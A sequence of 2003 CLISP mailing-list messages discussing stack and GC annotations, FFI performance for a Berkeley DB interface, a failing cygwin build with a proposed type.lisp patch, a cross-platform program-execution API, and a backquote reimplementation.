>Actually, I would like to replace comments "can trigger GC" with
>declarations GC_unsafe and comments "pushes 3 objects on the stack"
>with declarations push_STACK(3). E.g., get_buffers() in io.d will look
>like this:
>GC_unsafe push_stack(2) local void get_buffers (void) {}

I appreciate declarations that are easily scanned both by humans and computers. The loose comment form does not exactly fit that category.
I appreciate when tools exist that validate such information. Will declarations be verified by GCC?

Be careful that it does not hurt other code-analysing tools, e.g. ctags, protoize, context-diff-with-function-name, etc. etc.

Also, a push_stack(<integer>) declaration does not handle every situation. Some functions grow or shrink the stack by a data-dependent amount. listof() comes to mind. How do you represent these?

Other than that: I'm in favour of this incompatible user-level change.

Regards,
	Jorg Hohle.


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Cheers up to Aurelio Bignoli!

I wasn't aware until now that some users had developed great problem-solving ability with the CLISP FFI :-)

While his explanation - more in terms of "what steps" than "how" - was not judged entirely satisfactory by the one-person jury (me:-), the example he supplies show agility in similar situations of using the FFI, which imply understanding.


Aurelio is concerned with efficiency issues, let's have a look at his pattern:

>be determined only at runtime. If, on the contrary, data returned is a
>well known C type, it is better to avoid with-c-var/cast overhead by
>using an ad-hoc foreign function for the conversion.

>int get_int_data (void *p)
>{ return *(int *)p; }
>Not elegant, but quite fast :)

Obviously, you are concerned with efficiency, but not too much, since:
1. you're still using a byte-code virtual machine Lisp instead of a native code compiler implementation,
2. you didn't write even faster code, which completely bypasses the FFI overhead, as in:
LISPFUNN(get_int_data,1)
{ var object data=popSTACK();
  if (!faddressp(obj)) { fehler("foo of your own"); }
  /* better use int8/16/32 instead of generic compiler-dependent int */
  var sintL intdata = *(int*)(Faddress_value(obj));
  value1=L_to_I(intdata); mv_count=1; # UL_to_I on unsigned
}

So far, so good. Let's try to see if the FFI can nevertheless be fast enough for you. Please try the following:

(defun my-func-wrapper (...)
  (let* ((result (my-func ...))
         (data (my-struct-data result)))
    (unwind-protect
        (with-foreign-object (p 'c-pointer data)
          (foreign-value
            (ffi::%cast p
             (load-time-value
              (ffi::parse-c-type '(c-ptr int))))))
      (linux:free data))))
[There's still one (parse-c-type 'c-pointer) in there at run-time - we could get rid of it as well. Macroexpand-1 with-foreign-object]

I do not recommend at all that you write FFI code this way. I just want to know whether you find the speed acceptable. The compiler could/should/ought to generate code that way out of constant types, not you.

If speed becomes acceptable, I'll think about working out the details of such an optimization (read find out the complex cases where it fails).

BTW, could you show the C prototype for the real external function?
Why do you have the interface you mention, instead of
data and size as separate parameters?

I've been thinking about adding support for
(def-call-out-VARLEN my-func
  (:arguments
   (data (c-ptr (c-array uint8 (:size/count allocated-size))) :out)
   (allocated-size (c-ptr uint) :in-out)))
but not for :malloc style allocation, and your pattern is different
I fear that cannot cover your interface protocol.


>    (unwind-protect
>        (with-c-var (p 'c-pointer data)
>          (cast p `(c-ptr (c-array uint8 ,(my-struct-size result))))))
>      (linux:free data)))
Side note: A typical case (in my eyes) where FOREIGN-FREE must not invalidate the shared pointer... Oh well, the whole VALIDP issue could be revisited.

Regards,
	Jorg Hohle.


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 I tried to built clisp on cygwin (Win XP) from the recent cvs. The 
executable builds, but it fails to build the memory image. In particular it 
chokes when loading "type.lisp" with an error message "unix error 2 file 
not found". Is it possible to build clisp on cygwin? There is a compiled 
version of 2.30 on sourceforge but it is from october 1 and it has floating 
point problems that prevent is to be used to compile maxima. The previous 
clisp 2.29 cygwin version has tty problems.
Any hints or help? (BTW I did not instal libsigsegv since it does not work 
on cygwin).



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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02E73CF0@G8PQD.blf01.telekom.de>
> * On the subject of "AW: [clisp-list] on "increases STACK by n" in the CLISP source an d up/down in the debugger"
> * Sent on Wed, 19 Mar 2003 16:03:13 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> >> My mental representation of a stack is that of a pile of paper. It
> >> realises last-in-first-out (LIFO). The newest is at the top, the
> >> oldest is hidden at the bottom, long forgotten. What is yours?
> 
> >Proposal:
> >debugger help: top == most recent.
> >what do people think?
> Fine, but you omit up/down behaviour specification
> up: more recent elements
> down: towards bottom
> 
> >there is no INCF for stacks.
> >so "increasing the stack" is a TYPE-ERROR.
> Not in my model. A stack has volume (since it can be empty, and
> grow). Thus, canonical increasing for stacks is growing, decreasing
> is popping or shrinking. 

sounds reasonable.

> >Actually, I would like to replace comments "can trigger GC" with
> >declarations GC_unsafe and comments "pushes 3 objects on the stack"
> >with declarations push_STACK(3). E.g., get_buffers() in io.d will look
> >like this:
> >GC_unsafe push_stack(2) local void get_buffers (void) {}
> 
> I appreciate declarations that are easily scanned both by humans and
> computers. The loose comment form does not exactly fit that category.
> I appreciate when tools exist that validate such information. Will
> declarations be verified by GCC?

no, but static checking tools are coming up all the time (e.g., splint
<http://lclint.cs.virginia.edu/>), and they may be taught to check many
things in CLISP, e.g., GC safety and stack preservation.

> Be careful that it does not hurt other code-analysing tools,
> e.g. ctags, protoize, context-diff-with-function-name, etc. etc.

yes.  e.g.,
        GC_unsafe void foo()
will work fine while
        push_stack(2) void foo()
is likely to break tags.
anyone care to check?

> Also, a push_stack(<integer>) declaration does not handle every
> situation. Some functions grow or shrink the stack by a data-dependent
> amount. listof() comes to mind. How do you represent these?

e.g.,
GC_unsafe pop_stack(*) global object listof (uintC len) {}

we can avoid potential parentheses breakage by using underscore:

GC_unsafe push_stack_2 local void get_buffers (void) {}
GC_unsafe pop_stack_ global object listof (uintC len) {}

> Other than that: I'm in favour of this incompatible user-level change.

Anyone else?

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> * In message <Pine.LNX.4.44.0303181004180.11599-100000@ashi.FootPrints.net>
> * On the subject of "Re: New, from-scratch implementation of backquote."
> * Sent on Tue, 18 Mar 2003 12:48:34 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> On 17 Mar 2003, Sam Steingold wrote:
> 
> > * #(x1 x2 x3 ... xn) may be interpreted to mean (apply #'vector `(x1 x2
> >    x3 ... xn)).
> > 
> > #1A is not mentioned.  I suggest raising this on c.l.l.
> > 
> > personally, I would rather signal an error here, like CMUCL and
> > unpatched CLISP (ACL? LW?) do because
> > 
> >  - when you write a literal, your would write #() anyway, so the simple
> >    user does not lose
> > 
> >  - when you generate the form, you should make sure that the dim is 1
> >    anyway, so you can use #() just as well
> > 
> >  - when the user sees that `#1A(1 2 ,a 4) works but `#2A((1 2) (,a 4))
> >    does not, the user would be rightfully surprised; he will also think
> >    that `#2A(,a ,b) should work when a and b are sequences of the same
> >    length &c &c...
> 
> Okay, how about dividing the work into three milestones.
> 
> Basically I have taken care of most of the first milestone already:
> optimization, proper i18n-able error messages using TEXT macro,
> system builds itself cleanly. What's left is beating up the backquote
> with lots of nasty test cases.

let us stop here!!!

BTW, did you try some profiling?
E.g., try
(times (compile-file "compiler.lisp"))
with stock backquote and with your version.

> In the second milstone, I can put in rudimentary support for 
> backquoting over multi-dimensional arrays.

this will explicitly contradict the spec, be of dubious value and
require your work which can be used elsewhere.

What I was saying in my original message was that `#1A(... , ...)
should __NOT__ work!

OTOH, you are free to code whatever you fancy, and I will be delighted
to put #A/backquote in - as an option, e.g., when
CUSTOM:*BACKQUOTE-SUPPORT-NON-VECTOR-ARRAYS* is non-NIL.

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Hoehle, Joerg-Cyril writes:
 > Hi,
 > 
 > I'd like to jump on the occasion to query whether it's acceptable
   that a C file and C forms be generated for a Lisp file which would
   contain only definitions for shared library functions? 
 > The C file might never be used by CLISP.

I now think the important point is that the generated .c file 
is not needed to load the .fas file.
This suggests that it should be generated by some function 
other than compile-file:
(compile-FF "foo.lisp" &key output-file)
If the default of this were to overwrite foo.c it wouldn't be 
nearly so bad, though I would still prefer a default of foo-FF.c


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> * In message <1895496523.20030319231435@inbox.ru>
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> * Sent on Wed, 19 Mar 2003 23:14:35 +1000
> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
>
> Last time I checked run-program & friends it worked by running shell
> (cmd.exe or command com) and then starting a program from this shell.
> Why is this ? It looks strange for me. Only run-shell-command should
> work like this, i.e. run-shell-command should call run-program, not
> vice versa. Is this a unix way of thinking?

this is because SHELL and MAKE-PIPE-*-STREAM accept shell commands, not
program names, so this is the easy path.

> On system level for win32 we have only (shell) and
> (make-pipe-*-stream) (I didn't look into it yet), (shell) has no :wait
> ability. It seems to me that run-program should be C-coded to use all
> the system features, priorities for example. How do you people think ?
> 
> If make-pipe-*-stream made like (shell) then it waits for process to
> finish. Would it be right if it will never wait ? And how we can close
> hanging pipe-stream, by close (adding TerminateProcess to it) ?

We need a single cross-platform function, say, EXECUTE:

(EXECUTE program &key (arguments '()) (wait t)
                      (input (if wait ':terminal))
                      (output (if wait ':terminal))
                      (if-input-does-not-exist ':error) 
                      (if-output-exists ':overwrite) 
                      (indirectp nil))

 ARGUMENTS: a list of string arguments (argv)

 WAIT: wait for termination or return right away

 INPUT: :terminal to use stdin
        :stream to create and return an input stream
        open input stream object to use this stream
        pathname designator to use this file [this does NOT contradict
          the use of file streams as pathname designators]
        NIL no input

 IF-INPUT-DOES-NOT-EXIST: action when INPUT is a pathname designator and
        the file does not exist (:ERROR or a valid INPUT arg)

 OUTPUT: :terminal to use stdout
        :stream to create and return an output stream
        open output stream object to use this stream
        pathname designator to use this file [this does NOT contradict
         the use of file streams as pathname designators]
        NIL no output

 IF-OUTPUT-EXISTS: action when OUTPUT is a pathname designator and the
        already file exists (:OVERWRITE or :ERROR or :APPEND or valid
        OUTPUT arg)

 INDIRECTP: use a shell

return value: when WAIT is T, return the exit status of the program.
when WAIT is NIL, return 3 values
        PID
        INPUT stream
        OUTPUT stream
        [what about the error stream?]

all other functions should be based on this one, e.g.,

 (defun make-pipe-input-stream (cmd)
   (nth-value 1
     (execute cmd :indirect t :input :stream :output nil :wait nil)))

and probably deprecated.

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Date: Wed Mar 19 10:44:43 2003
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> * In message <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu>
> * On the subject of "[clisp-list] help with compiling clisp cvs on cygwin"
> * Sent on Wed, 19 Mar 2003 11:28:21 -0500
> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>
> I tried to built clisp on cygwin (Win XP) from the recent cvs. The
> executable builds, but it fails to build the memory image. In
> particular it chokes when loading "type.lisp" with an error message
> "unix error 2 file not found".

this is probably because of some encoding not being supported on cygwin.
Please try the appended patch and report your experiences here.
Thanks!

> Is it possible to build clisp on cygwin?
Yes!

you could also try building with mingw, i.e.,

$ ./configure --with-mingw --with-export-syscalls --build build-mingw

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--- type.lisp.~1.43.~	2003-03-12 11:37:04.000000000 -0500
+++ type.lisp	2003-03-19 12:59:48.000000000 -0500
@@ -1380,12 +1380,18 @@
   ; Return the definition range of a character set. If necessary, compute it
   ; and store it in the cache.
   (defun get-charset-range (charset &optional maxintervals)
-    (or (gethash charset table)
-        (setf (gethash charset table)
-              (charset-range (make-encoding :charset charset)
-                             (code-char 0) (code-char (1- char-code-limit))
-                             maxintervals
-  ) )   )     )
+    (let ((name (if (encodingp charset) (encoding-charset charset) charset)))
+      (or (gethash name table)
+          (let ((enc (if (encodingp charset) charset
+                         (make-encoding :charset charset
+                                        :if-does-not-exist nil))))
+            (unless enc         ; SHOULD BE AN ERROR!!!
+              (warn "~S: invalid charset ~S" 'get-charset-range charset)
+              (return nil))
+            (setf (gethash name table)
+                  (charset-range enc (code-char 0)
+                                 (code-char (1- char-code-limit))
+                                 maxintervals))))))
   ; Fill the cache, but cache only the results with small lists of intervals.
   ; Some iconv based encodings have large lists of intervals (up to 5844
   ; intervals for ISO-2022-JP-2) which are rarely used and not worth caching.


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Date: Wed Mar 19 12:39:04 2003
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Thank you for your response.
No this patch does not help. However I found that commenting lines 1392-1397
in type.lisp (without the patch ) that read
  ; Fill the cache, but cache only the results with small lists of 
intervals.
  ; Some iconv based encodings have large lists of intervals (up to 5844
  ; intervals for ISO-2022-JP-2) which are rarely used and not worth 
caching.
;;  (do-external-symbols (sym (find-package "CHARSET"))
;;    (let* ((charset (encoding-charset (symbol-value sym)))
;;           (computed-range (get-charset-range charset 100))
;;           (intervals (/ (length computed-range) 2)))
;;      (when (>= intervals 100) (remhash charset table))
;;  ) )

makes type.lisp load. I don't know what exactly these lines do. Now many 
more lisp files were loaded,
but the compilation failed when loading compiler.lisp with signal 11:
;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...
;; Loaded file defmacro.lisp
;; Loading file macros1.lisp ...
;; Loaded file macros1.lisp
;; Loading file macros2.lisp ...
;; Loaded file macros2.lisp
;; Loading file defs1.lisp ...
;; Loaded file defs1.lisp
;; Loading file places.lisp ...
;; Loaded file places.lisp
;; Loading file floatprint.lisp ...
;; Loaded file floatprint.lisp
;; Loading file type.lisp ...
;; Loaded file type.lisp
;; Loading file defstruct.lisp ...
;; Loaded file defstruct.lisp
;; Loading file format.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" 
"function
" FORMAT #P"/cygdrive/c/temp/clisp/src/format.lisp" "top-level")
;; Loaded file format.lisp
;; Loading file international.lisp ...
;; Loaded file international.lisp
;; Loading file /cygdrive/c/temp/clisp/src/room.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/src/room.lisp
;; Loading file /cygdrive/c/temp/clisp/src/savemem.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/src/savemem.lisp
;; Loading file /cygdrive/c/temp/clisp/src/trace.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/src/trace.lisp
;; Loading file /cygdrive/c/temp/clisp/src/cmacros.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/src/cmacros.lisp
;; Loading file /cygdrive/c/temp/clisp/src/compiler.lisp ...Signal 11
make: *** [interpreted.mem] Error 139

Any more suggestions? Are the lines that I commented important?
TIA, Yadin.

--On Wednesday, March 19, 2003 1:01 PM -0500 Sam Steingold <sds@gnu.org> 
wrote:r

>> * In message <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu>
>> * On the subject of "[clisp-list] help with compiling clisp cvs on
>> cygwin" * Sent on Wed, 19 Mar 2003 11:28:21 -0500
>> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>>
>> I tried to built clisp on cygwin (Win XP) from the recent cvs. The
>> executable builds, but it fails to build the memory image. In
>> particular it chokes when loading "type.lisp" with an error message
>> "unix error 2 file not found".
>
> this is probably because of some encoding not being supported on cygwin.
> Please try the appended patch and report your experiences here.
> Thanks!
>
>> Is it possible to build clisp on cygwin?
> Yes!
>
> you could also try building with mingw, i.e.,
>
> $ ./configure --with-mingw --with-export-syscalls --build build-mingw
>
> --
> Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux
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> <http://www.mideasttruth.com/>
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> people: those who can count and those who cannot.
>
>
> --- type.lisp.~1.43.~	2003-03-12 11:37:04.000000000 -0500
> +++ type.lisp	2003-03-19 12:59:48.000000000 -0500
> @@ -1380,12 +1380,18 @@
>    ; Return the definition range of a character set. If necessary,
> compute it    ; and store it in the cache.
>    (defun get-charset-range (charset &optional maxintervals)
> -    (or (gethash charset table)
> -        (setf (gethash charset table)
> -              (charset-range (make-encoding :charset charset)
> -                             (code-char 0) (code-char (1-
> char-code-limit)) -                             maxintervals
> -  ) )   )     )
> +    (let ((name (if (encodingp charset) (encoding-charset charset)
> charset))) +      (or (gethash name table)
> +          (let ((enc (if (encodingp charset) charset
> +                         (make-encoding :charset charset
> +                                        :if-does-not-exist nil))))
> +            (unless enc         ; SHOULD BE AN ERROR!!!
> +              (warn "~S: invalid charset ~S" 'get-charset-range charset)
> +              (return nil))
> +            (setf (gethash name table)
> +                  (charset-range enc (code-char 0)
> +                                 (code-char (1- char-code-limit))
> +                                 maxintervals))))))
>    ; Fill the cache, but cache only the results with small lists of
> intervals.    ; Some iconv based encodings have large lists of intervals
> (up to 5844    ; intervals for ISO-2022-JP-2) which are rarely used and
> not worth caching.



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> * In message <24463843.1048088307@GOLDSCHMIDT.phyast.pitt.edu>
> * On the subject of "Re: [clisp-list] help with compiling clisp cvs on cygwin"
> * Sent on Wed, 19 Mar 2003 15:38:27 -0500
> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>
> Thank you for your response.
> No this patch does not help. However I found that commenting lines 1392-1397
> in type.lisp (without the patch ) that read
>   ; Fill the cache, but cache only the results with small lists of
>     intervals.
>   ; Some iconv based encodings have large lists of intervals (up to 5844
>   ; intervals for ISO-2022-JP-2) which are rarely used and not worth
>     caching.
> ;;  (do-external-symbols (sym (find-package "CHARSET"))
> ;;    (let* ((charset (encoding-charset (symbol-value sym)))
> ;;           (computed-range (get-charset-range charset 100))
> ;;           (intervals (/ (length computed-range) 2)))
> ;;      (when (>= intervals 100) (remhash charset table))
> ;;  ) )

yes, this confirms my diagnosis.
please _do_ apply the patch (replacing "return" with "return-from
get-charset-range") and see what warning you get.

> ;; Loading file /cygdrive/c/temp/clisp/src/compiler.lisp ...Signal 11
> make: *** [interpreted.mem] Error 139
> 
> Any more suggestions?

1. always build in a separate build directory.
   clean up:
   $ rm -rf src
   $ cvs up src
   and try again:
   $ ./configure <options> build-directory
   this allows you to have several builds with different options and
   guarantees that your builds are clean.

2. try various combinations of CC=g++, --with-debug and --with-mingw:
   $ ./configure --with-debug --build build-g
   $ CC=g++ ./configure --with-debug --build build-g-gxx
   $ ./configure --with-mingw --with-debug --build build-mingw-g
   $ CC=g++ ./configure --with-mingw --with-debug --build build-mingw-g-gxx

   try "gdb -nw" in the build directory.
   unfortunately, I do not have a w32 machine, so I cannot really help
   here&now (I built under cygwin many times in the past though).
   we do have several w32&cygwin gurus here, I hope they will chime in.

> Are the lines that I commented important?
yes, they create some caches.

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Hello Sam,

Thursday, March 20, 2003, 4:01:16 AM, you wrote:

>> Is it possible to build clisp on cygwin?
Sam> Yes!
Alas! No! I haven't found the GC error which leads to
SIGSEGV while loading compiler.lisp.

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> * In message <3734225834.20030320181848@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] help with compiling clisp cvs on cygwin"
> * Sent on Thu, 20 Mar 2003 18:18:48 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> >> Is it possible to build clisp on cygwin?
> Sam> Yes!
> Alas! No! I haven't found the GC error which leads to
> SIGSEGV while loading compiler.lisp.

ouch!

1. could you please build CLISP from CVS head and make a binary release
   for Yadin?

2. can you build with g++ and track down the bug? what is the show-stopper?

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On 19 Mar 2003, Sam Steingold wrote:

> > Basically I have taken care of most of the first milestone already:
> > optimization, proper i18n-able error messages using TEXT macro,
> > system builds itself cleanly. What's left is beating up the backquote
> > with lots of nasty test cases.
> 
> let us stop here!!!

I have a temporary home page for this mini-project now.

http://users.footprints.net/~kaz/clisp-backquote-patch.html

The current status is that we have an backquote implementation that
seems to be reliable, and puts out good code.

The destructive splicing syntax is supported in earnest, using
translations to NCONC.

All error messages are in TEXT macros, but some new text will require
translation into foreign languages.

> BTW, did you try some profiling?
> E.g., try
> (times (compile-file "compiler.lisp"))
> with stock backquote and with your version.

Not yet, but will do. I think that the backquote puts out pretty good
code now, comparable with the original implementation.  It's very
similar, in fact, except that in some cases it outputs nested code,
like:

   (cons 'a (cons 'b (append a (append b c))))

where the original implementation would put out:

   (list* 'a 'b (append a b c))

Profiling under CLISP shows that even for making a list of two cons
cells, one call to list* with three arguments is slightly faster than
two calls to cons, so this reduction appears worthwhile, and can be
done by a trivial cleanup pass.

I'm not too worried about the reader or macro-expansion speed, since
normally a backquote is expanded just once, but the generated code may,
in some contexts, be executed countless times, so it should be good.

So what is left:

- disabling `#1A... expansion.
- i18n (need help with that, deferred)
- complex test cases
- profiling



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Has anyone ever had success with Screamer on CLisp (on any platform)?

I have  problems on NT (various errors) and FreeBSD. The common problem 
seem to be inadequate stack, i.e:

*** - Lisp stack overflow. RESET,

when compiling.

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> * In message <3E7A549C.5000308@stargate.net>
> * On the subject of "[clisp-list] Screamer and CLisp"
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> Has anyone ever had success with Screamer on CLisp (on any platform)?

the one at <http://www.cis.upenn.edu/~screamer-tools/> appears to
require much updating (e.g., cl:special-form-p is gone &c) the package
appears to be lacking maintenance and ripe for inclusion into CLOCC.

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Hi Arseny,
Thank for your reply. I tried to uninstall libiconv but it does not help.
I am still unable to compile sucessfully.
As per Sam's request could you compile it from cvs head and send binaries 
to me or post them on sourceforge or somewhere?
I would appreciate, TIA, Yadin.






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Hello Yadin,

Friday, March 21, 2003, 12:57:57 PM, you wrote:

> As per Sam's request could you compile it from cvs head and send binaries
> to me or post them on sourceforge or somewhere?
I uploaded freshly compiled win32 binaries to sourceforge
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> * In message <1765461312.20030322000642@inbox.ru>
> * On the subject of "[clisp-list] win32 cvs head binaries"
> * Sent on Sat, 22 Mar 2003 00:06:42 +1000
> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
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> Friday, March 21, 2003, 12:57:57 PM, you wrote:
> 
> > As per Sam's request could you compile it from cvs head and send binaries
> > to me or post them on sourceforge or somewhere?
> I uploaded freshly compiled win32 binaries to sourceforge
> (clisp-2.30.1-win32.zip) - please try it.

let us not mix stable releases and ad hoc binaries.
<ftp://ftp2.cons.org/pub/lisp/clisp/snapshots/clisp-2.30.1-win32.zip>

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> * In message <5727776.1048197477@yadin-nb>
> * On the subject of "Re: [clisp-list] help with compiling clisp cvs on cygwin"
> * Sent on Thu, 20 Mar 2003 21:57:57 -0500
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>
> Thank for your reply. I tried to uninstall libiconv but it does not help.
> I am still unable to compile sucessfully.

Yadin, you reported a bug with type.lisp and encodings.
we need to figure out which encodings do not work.
please remove libiconv and try the patch I send you.
the warnings should tell you which encodings are missing.
thanks.

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Hello Arseny and Sam,
Thank you for your effeort but the binaries don't work: A box opens which 
says that
lisp.exe encountered a problem and needs to be closed. This is on a Win XP 
box.
(BTW I really need cygwin binaries not win32 binaries since I need to 
compile maxima to run in bash and win32 binaries don't understand cygwin 
paths, I know that from previous win32 releases).
I will try again to track the type.lisp problem. The problem is that when I 
remove libiconv the compilation fails even before it gets to type.lisp It 
failes when loading a previous .lisp file, I forgot which (maybe 
places.lisp). Also when I compiled libiconv myself and installed it also 
failes on loading one of the previous files. So it does not even get to 
your patched file. It failed with signal 11. I compiled libiconv from the 
original sources, I will try again to recompile from cygwin source but I 
don't have too much time to spend on this. If I make any progress I will 
report.
Thanks, Yadin.


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>> * In message <1765461312.20030322000642@inbox.ru>
>> * On the subject of "[clisp-list] win32 cvs head binaries"
>> * Sent on Sat, 22 Mar 2003 00:06:42 +1000
>> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
>>
>> Friday, March 21, 2003, 12:57:57 PM, you wrote:
>>
>> > As per Sam's request could you compile it from cvs head and send
>> > binaries to me or post them on sourceforge or somewhere?
>> I uploaded freshly compiled win32 binaries to sourceforge
>> (clisp-2.30.1-win32.zip) - please try it.
>
> let us not mix stable releases and ad hoc binaries.
> <ftp://ftp2.cons.org/pub/lisp/clisp/snapshots/clisp-2.30.1-win32.zip>
>
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japi <http://www.japi.de/> appears to be an easy way to get a GUI.
any volunteers to make a CLISP module based on it?

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> (BTW I really need cygwin binaries not win32 binaries since I need to
> compile maxima to run in bash and win32 binaries don't understand
> cygwin paths, I know that from previous win32 releases).

I think I made CLISP win32 understand cygwin paths.
see `*device-prefix*' in config.lisp.

> I don't have too much time to spend on this.
I understand.

> If I make any progress I will report.
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> * In message <3E7B34B4.D0B35B33@ieee.org>
> * On the subject of "Re: [clisp-list] CLISP GUI: japi"
> * Sent on Fri, 21 Mar 2003 08:50:12 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Is there a lgpl'd version of the java runtime that this will run against?

GCC 3 comes with /usr/bin/java that runs gij.
unfortunately, it appears to lack awt:

Exception in thread "Thread-1" java.awt.AWTError: Cannot load AWT toolkit: gnu.java.awt.peer.gtk.GtkToolkit
   at 0x4027fd57: java.lang.Throwable.Throwable(java.lang.String) (/usr/lib/libgcj.so.3)
   at 0x40272bce: java.lang.Error.Error(java.lang.String) (/usr/lib/libgcj.so.3)
   at 0x4034051a: java.awt.AWTError.AWTError(java.lang.String) (/usr/lib/libgcj.so.3)
   at 0x40357c39: java.awt.Toolkit.getDefaultToolkit() (/usr/lib/libgcj.so.3)
   at 0x4035840a: java.awt.Window.getToolkit() (/usr/lib/libgcj.so.3)
   at 0x40349004: java.awt.Container.addImpl(java.awt.Component, java.lang.Object, int) (/usr/lib/libgcj.so.3)
   at 0x40348e8a: java.awt.Container.add(java.awt.Component, java.lang.Object) (/usr/lib/libgcj.so.3)
   at 0x4039a117: ffi_call_SYSV (/usr/lib/libgcj.so.3)
   at 0x4039a0d7: ffi_raw_call (/usr/lib/libgcj.so.3)
   at 0x402475e8: _Jv_InterpMethod.continue1(_Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3)
   at 0x40247ee4: _Jv_InterpMethod.run(ffi_cif, void, ffi_raw, _Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3)
   at 0x402454e4: _Jv_InterpMethod.run_normal(ffi_cif, void, ffi_raw, void) (/usr/lib/libgcj.so.3)
   at 0x40399f8c: ?? (??:0)
   at 0x4039a117: ffi_call_SYSV (/usr/lib/libgcj.so.3)
   at 0x4039a0d7: ffi_raw_call (/usr/lib/libgcj.so.3)
   at 0x402475e8: _Jv_InterpMethod.continue1(_Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3)
   at 0x40247ee4: _Jv_InterpMethod.run(ffi_cif, void, ffi_raw, _Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3)
   at 0x402454e4: _Jv_InterpMethod.run_normal(ffi_cif, void, ffi_raw, void) (/usr/lib/libgcj.so.3)
   at 0x40399f8c: ?? (??:0)
   at 0x40266b7c: _Jv_ThreadRun(java.lang.Thread) (/usr/lib/libgcj.so.3)
   at 0x40388ec0: ?? (??:0)
   at 0x40390a55: GC_start_routine (/usr/lib/libgcj.so.3)
   at 0x406151ff: ?? (??:0)
   at 0x420d8397: __clone (/lib/tls/libc.so.6)



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Sam Steingold <sds@gnu.org> writes:

> > * In message <3E7B34B4.D0B35B33@ieee.org>
> > * On the subject of "Re: [clisp-list] CLISP GUI: japi"
> > * Sent on Fri, 21 Mar 2003 08:50:12 -0700
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> >
> > Is there a lgpl'd version of the java runtime that this will run against?
> 
> GCC 3 comes with /usr/bin/java that runs gij.
> unfortunately, it appears to lack awt:

Maybe you have to install it separately, something like

  <http://www.gnu.org/software/classpath/>

Edi.


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Hoehle, Joerg-Cyril writes:
 > Please try the following:
 > 
 > (defun my-func-wrapper (...)
 >   (let* ((result (my-func ...))
 >          (data (my-struct-data result)))
 >     (unwind-protect
 >         (with-foreign-object (p 'c-pointer data)
 >           (foreign-value
 >             (ffi::%cast p
 >              (load-time-value
 >               (ffi::parse-c-type '(c-ptr int))))))
 >       (linux:free data))))

I used a "scientific" approach: I wrote three functions that convert
the foreign int object passed as argument using one of the the three
methods we discussed (ad-hoc C function, with-c-var/cast,
with-foreign-object/%cast) and then I timed a loop of 20000 calls of
the functions. I ran the tests on a PII/266 under Linux 2.4.18, and
here are the results:

ad-hoc C function:

   Real time: 0.181583 sec.
   Run time: 0.11 sec.
   Space: 0 Bytes

with-c-var/cast:

   Real time: 1.494392 sec.
   Run time: 1.17 sec.
   Space: 3440000 Bytes
   GC: 4, GC time: 0.56 sec.

with-foreign-object/%cast

   Real time: 0.638666 sec.
   Run time: 0.54 sec.
   Space: 1520000 Bytes
   GC: 2, GC time: 0.28 sec.

 > If speed becomes acceptable, I'll think about working out the
 > details of such an optimization (read find out the complex cases
 > where it fails).

well, for my needs speed was acceptable even with my first
implementation for the vector case:

(let ((result (make-array size :element-type ' (unsigned-byte 8))))
  (dotimes (i size)
    (setf (aref result i) (get-vector-element data i))))

(def-call-out get-vector-element
  (:name "get_vector_element")
  (:arguments (data c-pointer :in) (offset :in))
  (:return-type uchar))

unsigned char
get_vector_element (void *data, int offset)
{
  ((unsigned char *)data)[offset];
}

which, of course, is awfully slow! I wrote this code at the beginning
of 2002, when with-c-var and with-foreign-object weren't still
available (or, at least, I wasn't aware of them), and this was the
only solution I was able to devise.

 > BTW, could you show the C prototype for the real external function?
 > Why do you have the interface you mention, instead of
 > data and size as separate parameters?

I'm trying to interface Berkeley DB C API
(http://www.sleepycat.com). It uses "Data Base Thangs" to read and
write data to/from DB files:

/* Key/data structure -- a Data-Base Thang. */
struct __db_dbt {
    /*
     * data/size must be fields 1 and 2 for DB 1.85 compatibility.
     */
    void     *data;      /* Key/data */
    u_int32_t size;      /* key/data length */

    u_int32_t ulen;      /* RO: length of user buffer. */
    u_int32_t dlen;      /* RO: get/put record length. */
    u_int32_t doff;      /* RO: get/put record offset. */

[some #defines omitted...]

    u_int32_t flags;
};
typedef struct __db_dbt DBT;

This is an historical interface, I think it is in use since the
earliest versions of DB under Unix.

Typical functions are

int DB->put(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags);
int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags); 

They allow C programmers to easily read and write any C type. For Lisp
programmers things are a little more difficult :)


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An UFFI module would be far more useful than a CLisp-only one.

Cheers


On Friday, Mar 21, 2003, at 10:18 America/New_York, Sam Steingold wrote:

> japi <http://www.japi.de/> appears to be an easy way to get a GUI.
> any volunteers to make a CLISP module based on it?
>
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Date: Fri Mar 21 16:37:04 2003
X-Original-Date: Sat, 22 Mar 2003 10:40:57 +1000

Hello Yadin,

Saturday, March 22, 2003, 1:21:57 AM, you wrote:

> Thank you for your effeort but the binaries don't work: A box opens which
> says that
> lisp.exe encountered a problem and needs to be closed. This is on a Win XP 
> box.
